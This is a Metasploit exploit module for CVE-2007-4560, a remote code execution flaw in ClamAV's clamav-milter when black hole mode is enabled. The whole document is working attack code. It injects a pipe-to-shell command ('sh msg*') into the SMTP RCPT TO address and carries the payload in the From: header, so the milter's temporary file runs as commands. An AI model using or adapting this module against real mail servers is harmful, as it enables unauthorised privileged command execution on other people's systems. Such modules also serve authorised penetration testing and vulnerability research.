ClamAV Milter – Blackhole-Mode Remote Code Execution (Metasploit)
## # $Id: clamav_milter_blackhole.rb 10617 2010-10-09 06:55:52Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Smtp def initialize(info = {}) super(update_info(info, 'Name' => 'ClamAV Milter Blackhole-Mode Remote Code Execution', 'Description' => %q{ This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter' (Sendmail mail filter). Versions prior to v0.92.2 are vulnerable. When implemented with black hole mode enabled, it is possible to execute commands remotely due to an insecure popen call. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10617 $', 'References' => [ [ 'CVE', '2007-4560' ], [ 'OSVDB', '36909' ], [ 'BID', '25439' ], [ 'URL', 'http://www.milw0rm.com/exploits/4761' ], ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Aug 24 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']), ], self.class) end def exploit # ClamAV writes randomized msg.###### temporary files in a randomized # /tmp/clamav-#######################/ directory. This directory is # the clamav-milter process working directory. # # We *can* execute arbitrary code directly from 'sploit', however the # SMTP RFC rejects all payloads with the exception of generic CMD # payloads due to the IO redirects. I discovered that the 'From:' # header is written to this temporary file prior to the vulnerable # call, so we call the file itself and payload.encoded is executed. sploit = "sh msg*" # Execute the clamav-milter temporary file. # Create the malicious RCPT TO before connecting, # to make good use of the Msf::Exploit::Smtp support. oldaddr = datastore['MAILTO'] newaddr = oldaddr.split('@') datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>" connect_login sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header sock.put(".\r\n") # Clean up RCPT TO afterwards datastore['MAILTO'] = oldaddr handler disconnect end end |